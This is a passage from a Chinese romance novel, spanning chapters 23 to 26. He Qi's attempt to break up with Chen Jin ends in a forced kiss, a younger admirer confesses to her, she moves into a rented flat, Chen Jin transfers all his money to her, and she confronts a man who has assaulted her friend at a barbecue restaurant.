“有一次我到家已经是凌晨,你起夜撞上我,被吓了一大跳,之后就告诉我这么晚了开车不安全,来回又要浪费睡眠时间,索性在公司睡也行。” 记忆渐渐重现脑海,预想中原本该出现在陈津脸上的心虚表情转而换到了她的脸上。 何漆一时哑口无言,有种搬起石头砸了自己脚的感觉。 但眼下是她在提分手,气势上绝对不能输,于是强硬地要把这件事轻轻揭过:“好,那这件事是我的错,但它和我们分手没有……” 她话未尽,陈津猛地将上半身压过来,与她十指紧扣的手掐得更紧,同时抬起来抵在车门上。 滚烫的呼吸打在一起,唇瓣重重地碾压,何漆整个人空白了一秒,脑子里只有一个念头—— 陈津疯了。 何漆怎么也想不到,她这辈子还会这么一天,明明诉求是分手,得到的回应却是被陈津压在车前强吻。 她左手拿着围巾,右手被陈津抓着,只能手脚并用地踢打面前的男人,然而唇上的触感、陈津的气息,被放大的感官令她一阵阵地天旋地转,逐渐丧失了挣扎的力气。 陈津几乎不算在吻她,而像是在 挤压她,仿佛作势要抽干他们之间所有的间隙和空气,要将两个人融为一体。 何漆的鼻子都快呼吸不上来,狠下心,摸索着一口咬破了陈津的嘴唇。 血腥味迅速在两人唇齿间蔓延,即便如此,陈津还是不为所动地碾着她。 “放开……”直到何漆从喉咙中嘤咛出声,其实根本听不出她说了什么,只不过是两个含糊的声调。 陈津以为她有什么话要说,双眼水汽迷蒙,退开了两指宽的空间。 何漆得以喘息,仰头靠在车身上,胸腔配合着呼吸剧烈起伏。 垂落的手紧紧捏着柔软的围巾,生怕一脱力就将其掉在地上。 她看到陈津水润的嘴唇上一片鲜红,透着股诡谲妖冶的情色,足以想象自己同样狼狈的模样。 将将把气喘匀,何漆怒火中烧,恢复了力气,抬手一巴掌打在他的脖颈位置,厉声质问:“陈津!你疯了吧?” 陈津垂眼,毫不犹豫地又凑到她嘴角啄了两口,甚至亲出“啵啵”的水声。 “你就当为了防止我发疯吧。”陈津语气很轻,“我们不要分手。” 何漆的脑子又空了。 她觉得他是在威胁自己,没有人会喜欢被威胁。 她想说条件不是这样算的,她想说这不是她该承担的义务,她有很多话想反驳,也有很多道理想讲,然而这世上不讲道理的事并不比讲道理的少。 何漆的目光不由自主地再次扫过陈津的破皮的嘴,她舔了舔自己的下嘴唇,又咬着含进嘴里,冷风刮得她眯起了眼,脸也生疼。 口中是淡淡的铁锈味,心里莫名有个不讲道理的念头升起,何漆忽然觉得输赢对错在今晚不是头等大事,陈津到底是不是疯了也不那么那么要紧,但他还在生病,应该回家睡觉。 然而这样的话,在这个节骨眼,她不会说出口。 陈津先站直了身子,用两根手指将她脸颊边的碎发捋到耳后:“我把牛奶给你,上去休息吧。” 何漆知道这样不行,自己是在给他得寸进尺的空间,是在告诉他降服自己的手段,但偏偏内心就是松了口气,不着痕迹地往边上跨了一步。 陈津顺利打开车门,从刚刚的袋子里拿出牛奶,却没有递给她,而是直接塞到何漆外衣的口袋里。 她抱紧挂在手臂上的围巾,像是努力捏住自己狂跳不止的心脏,试图用蛮力让它消停下来。 何漆转身要走,脚步却顿了又顿,最终连自己也不耐烦似的,停下来说:“你回去吧。我上楼就休息了,这么晚能去哪。你也回家睡觉。” 生硬地讲完,何漆不再作停留,火急火燎地走远了。 打开密码锁,何漆走进门,发现玄关处的小灯还开着,客厅里的却没有。 她换上拖鞋,轻手轻脚地走到客厅,借着玄关处传来的微弱光亮,看清李家佳正四仰八叉地倒在沙发上,身上外衣穿得齐全,一只脚搭在沙发靠背上,头闷在沙发抱枕里。 显然醉得不轻。 “家佳,李家佳。”何漆坐在边上,试图把她喊醒,“换了睡衣去床上睡好不好?” “嗯?”李家佳迷迷糊糊地应了一声,似乎还有点意识,“何漆?你回来了啊?” “回来了。”何漆一边说一边把人扶起来,“陪他挂完盐水就回来了。” 李家佳浑身无力,能坐起来已经算是奇迹,一歪头,把脑袋搁在何漆肩上,忽然傻笑起来:“何漆,你是小学生吗?” 莫名其妙,何漆不想跟醉鬼斗嘴,但还是回了句:“谁喝得坐不起来谁是小学生。” 李家佳又乐呵呵地笑了两声,逻辑还挺清晰,就是口条不太清楚:“谁和男朋友一起、小学生吵架,谁是小学生。” 有点绕口。 “听不懂。”何漆神色木然地答。 “狗屁。”李家佳急了,脑袋在何漆肩头蛄蛹,“你听得懂。” 何漆不说话,李家佳以为她真没想起来,恍恍惚惚地解释:“就是在酒馆门口,你和陈津说的——去医院。不去。不去就不去谁管你。” 何漆一巴掌捂在李家佳脸上。 李家佳就知道她肯定记得,放肆地大笑:“我当时都惊呆了,不过你们那样就很像一对情侣。” 何漆瞥她一眼,觉得无奈,醉成烂泥了还在说有的没的:“分手了倒像情侣了?那不是很可悲。” 李家佳又在她肩头蹭了蹭,一时没蹭住,斜斜地往沙发上倒去,仰躺着,语气忽轻忽重,声音向上飘:“哪里可悲?明明是……可喜可贺。” 说完,她又沉沉地睡了过去。 趋于平稳的呼吸声从身后传来,何漆没再打扰李家佳的美梦,一个人沉默地坐着。 片刻,她起身,到厨房的冰箱里拿了罐啤酒,坐回客厅的沙发,目光盯着对面墙壁上的一个点,仰头一口接着一口地喝。 纷杂的心绪满屋子地逛,脑中的念头不断迸发堆积,一个也抓不住。 没几分钟功夫,大半瓶的冰啤酒已经进了她的肚子里。 口袋里的手机忽然传出两声响。 何漆伸手去拿,摸到一个带点余温的瓶子,想起是陈津给的牛奶。 拿出来摆在桌上,再探进口袋去摸,居然感受到还有别的东西,塑料包装在里面摩擦作响。 何漆想不出会是什么,一把扯出来,看到自己的指尖拎着两枚冰皮月饼。 大概是陈津塞牛奶时一同放进去的。 “什么啊。”何漆低低呢喃了一句,把冰皮月饼随手放在怀里,双手捂上脸,小幅度地搓了搓。 为什么真搞得和小学生一样。 她在自己的掌心里缓了缓,没忘记摸口袋的初衷,把手机最后拿出来,屏幕上是方翊发来的问候消息。 何漆把手机平放在茶几上,没有立刻回复,先将最后一点啤酒喝完,然后去拿牛奶。 开盖时才发现这并不是她在车上喝过的那瓶,陈津拿了另一瓶新的给她。 牛奶一直藏在口袋里,热度流失了一点,但也不算太凉。 嘴唇上都是温热的湿意,她下意识抿了抿,却仿佛错觉般尝到了铁锈的滋味。 霎那间的失神,一团杂线的思绪当中,何漆抽丝剥茧般捋出了一截线头。 她开始回忆起自己听到陈津说要在房产证上写两人名字时那种难以言喻的心情。 那时她只是个刚过试用期不久的职场菜鸟,初入社会的不适应令她焦头烂额,每个月领着五千块的薪水,有近四成的工资都耗在房租上。 然后“嘭”一声,一套房子砸在她的面前,是连做梦都会怀疑被诈骗的事情。 现实物质的巨大诱惑,对于关系绑定的犹豫踌躇,以及陈津对她信任程度的震惊。 情感再复杂,选择却是理性的,陈津不以结婚为要挟,她没理由不为自己留份保障,若是日后分道扬镳,她也能从陈津身上扯块肉下来。 可惜,事到如今,距离何漆当年所想的恩断义绝还留有一定余地,她想要好聚好散,所谓保障就成了阻碍。 享用时以为是上天的恩赐,舍弃时又觉得麻烦累赘。 阳台里还映着屋外的灯光,何漆沉沉地呼出一口气,拿起手机。 第24章 第二天早上十点出头,李家佳还躺在床上呼呼大睡,何漆已经收拾妥当,挎了个小包准备出门。 电梯里她一直在给谁发消息,对方说要过来接她,何漆似乎受宠若惊,询问对方过来并不麻烦后便报了地址。 刚走出电梯,在电梯厅内就远远看到一个眼熟的背影,何漆不敢确定,隔着玻璃观望了一会儿。 那人穿着长款的黑色羽绒服,双手插在兜里,像在想什么事情,低着头用脚拨弄着路面上的落叶石子。 他高大的身形一直晃悠,好不容易露出小半张侧脸,何漆确定了他的身份,内心一阵郁闷。 推门出去,何漆走到离那人两三步远的地方,喊他的名字:“方翊。” 方翊闻声立马转了过来,大概是意外何漆会在这时候出现,一双小鹿似的 眼睛无措地看着她:“姐姐……” 何漆点头,直截了当地问:“你在这儿做什么?” 方翊盯她片刻,双手背到身后,像是无法回答这个问题,犹豫着没有立即回应,转而问:“姐姐,我发的消息你收到了吗?” 他指的是昨天凌晨何漆收到的那条消息,内容很简单,不过问候她和李家佳是否安全到家。 但何漆一直没有回。 所以她眼下也显得难以开口,目光往下垂了垂,伸手调整肩上的包带,语气弱了下去:“那个啊,嗯,我收到了。” 得到肯定的答复,两人内心都有各自的想法,方翊抿了抿唇,也短暂移开视线:“所以是忘记回我了吗?” “你一大早到这儿来就是为了问这个?”何漆不想回答,将话题拉回最初。 方翊感受到她的回避,动作迟缓地点点头,抬眼看向她,仿佛下了点决心:“我担心你。” 何漆闻言叹了口气,同时扭头看向一边,撩了把头发。 这几个象征不耐的动作令方翊的内心顿时感到七上八下,他放在身后的手不安地绞紧,却并不打算退缩或者打住。 何漆握在手里的手机这时响了两声,像是在提醒她什么,她恢复平静,对方翊道:“我今天有事,你先自己回去吧,下次不要再不打声招呼就过来了。” 她转身要走,方翊却忽然急迫地拉住了她,喊道:“何漆。” 印象里这似乎是方翊第一次直呼她的大名,何漆不得不停下,用目光示意他“还有什么想说的”。 然而方翊却问了她一个完全意料之外的问题:“你分手了,对吧?” 何漆被这几个字问得一怔,猛地抽走自己的手腕,把身体转正面向他,微微皱了点眉,认真打量般看向他的脸,几秒后严肃道:“问这个干什么?” 方翊不依不饶地追问,用的却是陈述句:“你现在是单身。” 何漆的神情变得更加严肃,几乎如同指责和告诫,冷声冷气:“我是不是单身和你没有关系。” “和我有关系。” “方翊!”何漆打断他,动了动嘴角,却不知道该说什么。 于是方翊执着地继续讲:“你是不是单身,和我有关系。” 短短几个小时,被两个男人在同一个地方接连作对,何漆都快怀疑自己最近是不是和什么犯冲。 她往小区外的方向看了一眼,耐着性子和方翊解释:“我今天确实有急事,你冷静一下,再决定我们还要不要聊这个话题。” “我很冷静。”方翊果断答道,“来这里找你之前我就认真地想过,如果你现在是单身的话……” 几乎可以预料,在这个假设的前提之下,方翊会说什么做什么。 何漆不得不再次打断他,用更加尖锐的话语警醒他悬崖勒马。 “对你来说真的有区别吗方翊?”她用破罐子破摔的语气漠然道,“我有男朋友的时候,你有收敛你的行为吗?” 方翊脸上出现稍显错愕的神情,像是听懂了她指责自己的言外之意,又好像没有,点了点头诚实说:“我收敛了。” 随后捕捉到她话里的漏洞,补充:“所以你现在没有男朋友。” 关于她还有没有男朋友这个问题,何漆和陈津暂时还没能达成统一,但可以肯定的是,这只关乎她和陈津的纠缠,犯不着和方翊多做解释。 何漆只觉一阵头疼,还是那句话:“和你没有关系。” 方翊却莫名表现出高兴的样子,让何漆差点以为自己说了同意的话。 “那我要追你,姐姐。” “你听不懂我说话吗?”何漆有种鸡同鸭讲的无奈。 方翊只傻傻地对她笑了一下。 何漆又撩了把头发,看了眼手机,某个联系人给她发消息,说还有两分钟就能到。 她想赶紧跟方翊掰扯清楚,摆出了长辈的架子,好叫他知难而退:“方翊你是不是没谈过恋爱?不要在我这个没可能的人身上浪费时间,去认识新的朋友吧,真的。” 方翊却并不在乎地反问:“姐姐你有很多恋爱经验吗?没可能的人是不会遇见的。” 何漆情绪激动地抬起了手,又因为无法反驳而落下去,拍在大腿两侧,发出十足无奈的声响。 跟他说不通。 并且在恋爱经验上,她只有长度,没有次数。 何漆咬着唇看向一边,还在思索要怎么说才能让方翊放弃这绝无可能的关系,而方翊已经看着她自顾自地开口:“姐姐,我真的认真考虑过了,你之前说你是不婚主义,我可以接受,我父母也很开明……” 天呢,一个甚至还没到法定结婚年龄的人竟然在跟她说这些。 何漆抬手制止他继续说下去,觉得无比荒谬。 “这不是你该考虑的事情,因为我不打算和你进入恋爱关系,我不喜欢你,你能明白吗,方翊?” 方翊总算露出有点被刺痛的表情,眨了眨眼,挑着眉长呼一口气,一副已经在内心安慰了自己的模样。 “我明白,但是我喜欢你。”他眼中流露出无惧无畏、诚恳真挚的神色,“我们中午可以一起吃饭吗?” 何漆闭了闭眼,甚至不想再说太残忍的话,手机发出震动,有人给她打了语音电话。 她被这通电话及时解救出来,明确拒绝:“不可以,我中午有事。” 何漆接起电话,往小区外走,方翊跟在她身边,接着问:“那晚上呢?我来接你。” 电话那头说了些什么,何漆语气友善地答应,挂掉电话后回复方翊:“虽然没有事情,但也不可以。” 方翊不说话了,心中盘算起别的,跟着何漆并肩往外走。 “你跟着我干什么?”何漆没好气地问。 方翊老实答:“我也要出小区。昨天晚上喝了酒,早上打车过来的,现在要打车回去。” 何漆对他和自己都有些无语,到了小区门口,看见一辆白色的沃尔沃,驾驶座上的人也看见了她,从车窗里探出头来和她打招呼。 何漆笑着挥手,想跟方翊道别,却不由因为刚刚的事欲言又止,还是方翊看出了她的意思,主动道:“你去忙吧姐姐,我晚上再给你发消息。” 何漆自动忽视他的后半句话,点了点头,朝白色轿车走去,上了副驾。 来接她的人是房屋中介,何漆决定租房。 这念头早些日子就萌发了,直到昨晚她才真正实施。 当年她大学毕业后找的租房中介意外靠谱,让她在租房一事上少吃了很多苦头,所幸那人的微信她一直留着,后来还给几个同事推荐过,便试图联系了一下。 今早对方看到消息立刻回了信,说是还在干这一行,好巧不巧,本预约了中午看房的客户放了她鸽子,说何漆如果有空的话,她可以带着去看手里的房源。 何漆简直求之不得。 “叶姐,买车了?”租房中介姓叶,何漆上车后跟她寒暄了一句。 叶姐熟练地打着方向盘开进主路,回:“是啊,去年买的,还不错吧?” 何漆点头:“当你客户真幸运,当年你还是骑着电瓶车带我看房呢。” 忆起往事,叶姐也爽朗地笑起来,随后又犯职业病地打听:“你现在住这个小区?房租可不便宜吧?” “没。”何漆说,“朋友的房子,我借住一段时间。” “刚刚送你出来那位?” 何漆一愣,明白她指的是方翊,摇头:“不是。” “哦哦。”知道自己误会了,叶姐连忙打住,往窗外望去一眼,感慨,“这小区的车可真豪,又是卡宴又是宝马的……” 何漆心里一惊,顺着叶姐的目光看出去,然而还没来得及看清车牌,她们就和对方擦肩而过地开远了。 找房子确实是件累人的体力活,好在叶姐对她没有藏着掖着,房子的优缺点都和她讲得清楚明白,起码省去了与黑心中介斗智斗勇的环节。 两人中午在路边面馆一人吃了一 碗面,接着马不停蹄地看了一下午房子,把符合何漆要求的房源都差不多看完了。 何漆心里有了中意的一套,反正她在李家佳那儿也没什么行李,一些新买的生活用品搬过来也十分方便,一个行李箱就能搞定。 分别时她向叶姐承诺,今天回去跟朋友商量一下,明天会给答复。 李家佳下午睡醒时见何漆不在家,给她发过两条消息询问,何漆只说自己出门办事,没具体透露,就怕李家佳当场杀过来。 眼下拎着两人份的晚餐回家,打算跟她当面坦白。 “租房?”李家佳吐掉嘴里的虾壳,横眉竖眼地高声抗议,“你钱多得没处花了是不是?还是我家哪里让你住得不舒服了?你说出来我改!” 何漆就料到她会是这个反应,好声好气地讨饶:“没有不舒服,这样我们可以两头来回住嘛,我来你家住两天,你去我家住两天。” 李家佳才不信她的鬼话:“说,是不是因为陈津总是来这儿,你怕我不自在。” “一小部分吧。”何漆用食指和大拇指捏在一起,比了个程度很小的手势,“但最主要是我确实想要一个属于自己的房子,你懂吗?” “我不懂,住在哪儿不都一样?”李家佳诚实地摇了摇头,半开玩笑,“那我这套送给你,就当我住在你家。” 何漆笑了,伸手揉乱她的发顶:“你当然不懂。反正我已经看好了,收拾完行李,明天签了合同就能入住,有了租房压力,说不定我还能奋发图强,写作事业更上一层楼。” 李家佳撇撇嘴,伸手去戳她的腰:“好你个先斩后奏,我看你就是存款太多了!” 何漆跳起来,拿着饭碗躲到李家佳对面:“存款真的够多我就直接买房了!反正之后再看到陈津,你就说我搬走了,别告诉她我住在哪。” 李家佳叹口气,摇了摇头:“你分明就是为了躲他。” 何漆不想说这个,转而记起今早另一件叫人郁闷的事,沉默了片刻,用筷子戳着碗里的米饭,还是对李家佳坦白:“早上方翊在楼下跟我表白了。” 李家佳整个人停顿了两秒,手上的筷子都夸张地掉落,随后爆发出高亢的尖叫:“我说什么来着!你俩见面第一回我就说了吧!” 何漆闭上眼,隔绝李家佳那八卦起哄的眼神。 这个消息对李家佳来说其实算意料之内,所以短暂的惊喜过后她又理智下来分析:“不过你根本对方翊不来电吧。” 何漆情绪不高地点点头:“嗯。” 李家佳被她感染,思索着,有些忧愁地托腮:“那也挺烦恼的,他看起来就是那种不会轻易死心的毛头小子,你跟陈津那边还有的烦呢。” 何漆被她戳中心事,苦笑着扯了扯嘴角。 放在桌上的手机同时应景地亮起,她拿起来看,刚好是方翊发来的消息,简单浏览过,也不知道该不该回。 “他到底喜欢我什么?”何漆把手机倒扣回桌面,搓了两把脸,很不理解地问,“我比他大了整整七岁吧,还是八岁?” “一见钟情啊!”李家佳没法不调侃地笑起来,绘声绘色道,“九月,深秋,酒吧,惊艳初遇。” 何漆伸手给了她的肩膀一巴掌,悻悻道:“你知道我不信这个。我和他见过几次面?相处过几回?到现在也才认识了两个月。” “喂,你跟陈津在一起的时候也就大一吧?”李家佳对她的双标行为提出质疑,“还是打比赛才认识的,相处时间能有多久?要不要我给你算算?” 何漆张了张嘴想反驳,但发现这事儿还真不能细究,只能从感情方面小声控诉:“你替方翊说话?” 李家佳瞪大眼,不知她从哪得来的结论,自己明明是在就事论事,况且真要讲,她也是在提醒何漆好好想想,她这么双标的原因。 实在没料到竟被对方倒打一耙。 李家佳望天,用一种“你真是没救了”的语气道:“其实是你心里在帮陈津说话吧。” 第25章 第二天李家佳还要上班,中途不方便回家,何漆原本计划一个人打车去要租的房子,无奈李家佳说什么都要送她。 两人与房东商量了一下时间,最终不得不久违地在早上六点半起床。 天才蒙蒙亮,太阳刚从地平线上升起来,何漆困倦地拖着行李箱下台阶,李家佳哈欠连天地打开后备箱,两个人都疲累得不想说话。 清早又湿又冷,何漆恨不得把半张脸都埋进围巾里,李家佳打开车上的暖气,怪叫两声给自己提神。 何漆无语地阖上眼,想偷懒眯一会儿,被李家佳从后视镜里抓包,立刻凑到她耳边念经:“不准睡不准睡不准睡。” “知道了。”何漆拖长语调地答应,勉强睁全眼睛,朝李家佳笑了笑,“辛苦你了,待会给你买杯咖啡。” 何漆的新房东是个和蔼的中年女人,讲话带着本地口音,看何漆她们是两个姑娘一起过来,特意叮嘱了合同上的不少注意事项。 名字一签,钱款一交,这住所就成了何漆短暂的家。 事情进行得分外顺利,李家佳看了眼时间,从何漆那儿敲了笔咖啡经费,很快掐着点上班去了。 李家佳一走,房子里只剩何漆一人,虽然面积不大,但也莫名有种空荡荡的寂寞感。 她花了些力气把自己的行李整理出来,思索着还有什么需要添置,最后累得受不了,补了近两个小时的回笼觉。 睡醒后便窝在客厅的懒人沙发上打字。 小区的隔音效果很好,是何漆找房时特别要求的,就这么一个人静悄悄地在家里待上一整天,做自己爱做的工作,吃自己爱吃的食物。 搬入新家第一天,何漆觉得十分幸福。 然而这种幸福猝然结束在晚上九点二十三分,何漆收到一条银行短信。 显示她一直使用的某张储蓄卡收到了一笔大额转账。 何漆一头雾水地点开,看全了信息。 转账人是陈津,金额非常奇怪,如同一串杂乱的验证码,连小数点后一位都是一个准确的3。 她看了一整天的电脑,眼睛有些疲劳,对那串数字不太敏感,定了定神,一个个数起来。 个、十、百、千、万…… 何漆数完,心里一凛,脸上的血好像在一点点退下去,两颊感到冷。 她又数一遍,确定了金额。 电脑从她的腿上滑开,掉在沙发上,何漆拿着手机站起身,在客厅里小范围地转了一圈。 心脏越跳越猛,脸上一阵冷一阵热,何漆一手紧紧攥着手机,往另一只手掌里拍着,咬着唇,双耳也像气压不平衡似的隐隐发闷。 她煎熬地等了两分钟,没有别的任何消息进来,终于一秒也坐不住,先打了李家佳的电话。 “喂?”李家佳似乎在看电视,不断有微弱的嘈杂声传过来,她还有闲心调侃,“这么快就想我了?” 何漆没理会,语气紧张,急迫地问:“你见过陈津了吗?” 李家佳听出她的语气不对,把电视暂停,正经了点:“刚下楼倒垃圾的时候见过了。” “他和你说什么了吗?” “我就按照你昨天说的,告诉他你已经不在这儿了,但没透露你的地址。” 何漆得到答案,细细地撕咬着口腔内壁的薄膜,原本靠墙站着,这会儿贴着白墙转身,有种想要撞墙的冲动。 但也只敢用额头不轻不重地挨了两下墙面。 她好久不说话,李家佳有所察觉,坐直身子问:“怎么了?” 何漆不知道要怎么说,转眼看向客厅的窗外,一片零星的光亮。 声音在喉间哽了好几回,她才无助又好笑地开口:“他把自己所有的钱都转我卡里了。” 话音落,电话两头都安静了。 李家佳咽了咽口水,噘嘴瞪眼的表情堪称滑稽,半天才反应过来,向她确认:“所有的钱?” 何漆:“嗯。” 李家佳:“靠。” 这事儿显然不在两人的处理范围之内,隔着电话面面相觑,谁也不敢说什么。 何漆头抵着墙,渐渐稳住心神,用手揉了揉眉心,拍板:“算了,我问问他吧。” 李家佳只能说“好”,但看着迟迟没有挂断的通话,又小心询问:“或者我去问也行,他应该还在楼下。” “不用。”何漆立马答,“我来。” 按下挂断键,手机屏幕又回到拨号键盘,指尖在上头犹豫地挪动着。 她先是输入一个短号,临拨打前却忽然连点了三下删除,接着手指飞快地按起来,仿佛刻意不留给自己后悔的时间。 十一位的号码,底下浮现出“陈津”的备注,何漆用力按下拨打键,把手机放到耳边。 默认的等待铃声只响了两下,电话被接通。 对方似乎在一个空旷的地方,声音很清透,带着点在何漆听来算是挑衅的好整以暇:“喂?” 何漆深吸了口气,走到沙发边,习惯性地坐在地毯上:“你干什么?” 陈津左手拎着瓶还剩一半的牛奶,用指尖敲了敲瓶盖,明知故问:“怎么了?” 何漆不想和他绕弯子,直截了当:“钱。” “给你了。”陈津答得同样干脆。 何漆差点一口气没上来:“你想让我的银行卡冻结?” 陈津慢半拍地理解她的逻辑,大概是怕流水太大引起银行风控,他思索道:“你不给我转回来就不会被冻结。” “你就不怕我带着这些钱消失?我大可以出国断联。” “你拿去花吧。”陈津似乎笑了一声,轻得像是错觉,“你应该先会给阿姨买套房子?那样我起码还能知道你在哪。” 何漆皱眉:“你没搞错吧陈津?你和我妈瞒着我都做了些什么你没忘吧?我还要拿着你的钱去给她买房?” 一旦提及这个话题,何漆就无法冷静,陈津也没有底气辩解。 他把牛奶攥进手里,转身打开车门上车:“你先告诉我,你现在住在哪。” 何漆冷硬答:“不可能。” “你希望我去骚扰李家佳吗?带个扰民喇叭在楼底下喊寻人启事?”像是吃准何漆的离开有一部分目的在于还朋友一个清净,陈津恶劣地威逼。 何漆却无所谓地挑眉:“好啊,那你去吧。” 何漆确信陈津不会骚扰她的朋友,就像陈津敢保证她不会揣着那些钱消失。 他们对彼此的为人、道德、原则十分了解,也正因如此,当意外和偏差发生在他们之间时,才显得那样不可思议、无法原谅。 他们既说服不了对方,也威胁不到对方,即便都希望结束这种僵持的状态,手段却大相径庭。 电话两端的人都不再说话,只有或轻或重的呼吸声打在话筒上。 何漆率先按下挂断键。 她背靠着沙发坐垫,头无力地往后仰倒,手臂搭在曲起的膝盖上,心烦意乱。 捏在手里的手机发出声响,她抬起来看了眼,是陈津发来的微信。 「你明天几点起?给我预支一下早饭钱吧,多的我转回你卡里。」 什么东西? 何漆整个手掌放在头顶,对自己的头发又挠又捋。 她盯着那条消息看了三秒,最终选择按关机键熄屏。 钱进了她的口袋还想出去?呵呵,让陈津见鬼去吧!- 闹剧般的日子,有时觉得度秒如年,有时又好像弹指之间。 转眼就到了十二月初。 自那晚的电话之后,陈津开启了一日三餐的“乞讨”生活,每天按时按点地在微信上告诉何漆,自己每顿吃了些什么、花费多少钱,偶尔也有别的开销向她报备。 只不过何漆一次都没回复,像是要实现自己“卷钱跑路”的诺言。 陈津身上是一分钱都没有了,但只要能拉得下脸,绝不至于会饿死。 何漆倒是想看看,在他下一次发工资之前,还能这么精打细算地过多久。 期间除了陈津,徐燕也给她来过一次电话,她当下没接,却在两三个小时的心不在焉之后,把徐燕的微信从黑名单里放了出来,不过没有收到任何消息。 再之后,就是一件天大的好事——何漆的文章通过终审了。 消息是由洛洛编辑传达的,何漆看到时激动地在客厅里溜达了三圈,勉强平复下心情后才和洛洛对接起后续事宜。 《朱迪的新家》将会在下个月,也就是新一年一月份的儿童文学期刊上发表,稿费届时支付。 一切尘埃落定,何漆才把这个好消息告诉李家佳。 对方刚下班,二话不说打来电话,自己已经被工作折磨得不成人样,非要何漆请客吃饭。 “出息。”何漆笑她,“稿费还没到手呢就让我破费。明天晚上吧,去我之前公司旁边的那家烧烤店,我叫上张心怡,怎么样?” 有人请客,李家佳自然不挑,她和张心怡由何漆搭线也见过一回,不会太尴尬,于是立马答应下来。 询问张心怡的间隙里,何漆收到了来自李秀兰的微信。 她一面点进去看,一面觉得李秀兰每次的消息都来得那么及时,给人一种她时时刻刻都在盯着自己的错觉。 「一月份的杂志发表后会寄给你一份,建议你好好看看同期的文章,虽然放你从我手底下通过了,但并不代表你有多令人满意。」 依旧是熟悉的说话风格。 何漆看完,心情却没有多大的起伏,一来可能是已经习惯了,并不期望从刘秀兰嘴里听到鼓励的好话,二来她的文章通过终审是事实,对她而言是前进的一大步,无需旁人的认可。 比起李秀兰言语间的刻薄,反而是另一件事情更让她有所感触。 原来终审的编辑是李秀兰。 是她掌握着所有文章的生死大权,也是她留下了自己的文章,虽然事后还是来贬低了一番。 何漆肩膀靠着墙,盯着手机屏幕,忽然痴痴地笑了出来。 她想,她的文章有两次被李秀兰看见,第一次靠李家佳,第二次靠她自己。 一种极大的满足感忽然充斥了她的内心,比得知自己过了终审的那一刹还要充足。 何漆像是失心疯般,对着李秀兰苛刻的消息,厚着脸皮,高高兴兴地打下「感谢您李老师,我会继续努力的!」 等了一会儿,对面似乎没有要回复的意思。 何漆从李秀兰的聊天框里退出,心情甚好地等着张心怡的消息,手指在联系人页面上上下下地滑,点进陈津的页面,又退出,点进徐燕的页面,再退出。 顶上有谁的消息弹进来,何漆急忙翻回去,却不是预料中的人。 方翊:「姐姐,我有两张明天晚上音乐剧的门票,我们一起去吧。」 何漆点开方翊发来的门票图片,是场挺有名的音乐剧,连她这种不太关注这方面的人都听说过,算得上一票难求。 方翊最近没少用各种理由邀请何漆,但都被她无一例外地拒绝了,就像眼下这样。 「你找别的朋友一起吧,抱歉,我对音乐剧不太感兴趣,而且我明晚和朋友约了吃饭。」 方翊被拒绝多了,摸清何漆的脾气,搭建起一套“不气馁不纠缠”的原则,只发来一个闷闷不乐的“好吧”装可怜。 在何漆拒绝完方翊后的没几分钟,张心怡用同样的理由拒绝了她。 张心怡:「对不起啊漆姐,我明晚跟一个朋友约好了,不能跟你们一块了。」 何漆倒觉得没什么关系,只是在回复“好吧”两个字时想起方翊。 这算不算是一报还一报?- 工作日傍晚的烧烤店生意依旧如火如荼,这家店环境干净,何漆在前公司上班时就经常和同事来这里聚餐。 两人点完餐,何漆又要了一扎啤酒,惹得李家佳新奇地看她:“我明天还要上班,喝不了。” “我喝。”何漆冲她坏笑。 李家佳则用手上的菜单拍她:“故意馋我?磨练我意 志力呢?” 何漆点点头:“我高兴。” 菜上得很快,啤酒来得更快。 李家佳说了不喝便真的滴酒不沾,汽水配炸串,愤愤地看着何漆豪爽畅饮,她知道自己一旦喝上头,十头牛来了都拉不住,还是从一开始就杜绝吧。 啤酒一扎扎往她们这桌送,何漆喝酒不上脸,让人难以分辨她到底是几分醉。 当点单的服务员都惊讶于何漆又要上啤酒时,李家佳终于察觉出几分不对劲,撸下两片娃娃菜,问:“你没事儿吧?今天怎么喝这么多?” 周围很吵,何漆看着李家佳张张合合的嘴,没听清,眼神不由发直。 李家佳看她就这么发起了呆,显然是喝懵了的状态,叫服务员不用再上酒,顺便给自己又点了三只蒜蓉生蚝。 好在何漆没有发酒疯,喝得迷糊了也是安安静静坐着,慢吞吞地吃串,在她盘里放什么她就吃什么。 李家佳觉得好笑,拿出手机给她拍了张照,发到朋友圈配文“原来这人喝醉了会变成乖巧儿童”,并随手屏蔽了陈津。 两人吃得差不多了,眼见又有一批来吃夜宵的客人进入,李家佳拉着何漆去买单,借此观察何漆醉到了哪种地步。 答案是,压根看不出来。 调付款码买单的动作非常流利,甚至收银员说话她也能听懂,还有多余的智力去拿前台放着的薄荷糖。 李家佳怀疑她也许压根就没醉,但看状态又并非完全正常,于是有心测试:“我送你去哪儿?” “回家。”何漆淡淡道。 “我当然知道回家。”李家佳循循善诱,“但你要回哪个家?” 何漆没说话,迟缓地转头看她一样眼,好半晌才蹦出三个字:“你干嘛?” 被一个醉鬼用看智障的眼神瞄着。 李家佳噎了一下,抬手挠挠下巴,还是搞不清楚,打算直接问:“你喝醉……” 她话到一半,声音突然被右手边一阵骚乱盖过。 两人扭头看去,发现骚乱源头是一对男女,男人背对着她们,看不到脸,手上正拿着筷子朝对面的女人摔过去。 女人的脸也被遮住大半,李家佳好奇地踮脚,左右探身张望,终于在一个角度看清了那女人的脸。 “靠!”她忽然愣住,大骂了声脏话,“那个不是张心怡吗?” 与此同时,张心怡对面的男人抬起了手掌,像是要朝对面挥舞。 收银台前的两个女人向那处猛冲了过去。 第26章 两人冲过去的那一刻,那男人正维持着抬手的动作,周围人群涌动,何漆和李家佳不断被遮挡视野。 几秒钟的功夫,等她俩破开看热闹的人群,却听一声闷响,张心怡已经跌倒在地,手掌按在地面的几根铁签上,眼角挂着泪。 反观对面的男人,气势汹汹地站着,一手叉腰,上半身向前倾,凶神恶煞,仿佛随时准备对地上的女人做什么。 何漆顿时气血上涌,脸色黑得不能再黑,压着心里滔天的怒火,迅捷地跨步至两人之间,面朝那男人,将张心怡挡在身后。 这时她才看清男人的样貌,长相不出挑但还算端正,一双招风耳格外引人注目。 “有什么事儿?”招风耳见有人过来,没有收敛怒气,昂着头睨视何漆,理直气壮地问。 何漆整张脸用力到绷起,一手抄过隔壁桌的空酒瓶握在手里,眼神凶狠地盯着他:“你打她了?” “关你什么……” 招风耳说着,想要伸手去推她,何漆立刻举起手里的酒瓶打开他的手,直指他的脑袋。 与此同时,李家佳已经扶起张心怡,随手也拿了个酒瓶,冲前台喊:“老板快报警!这里打人啦!生意没法做啦!” 收银台的小姑娘显然已经拿起了手机,按了号码,神情紧张地张望过来。 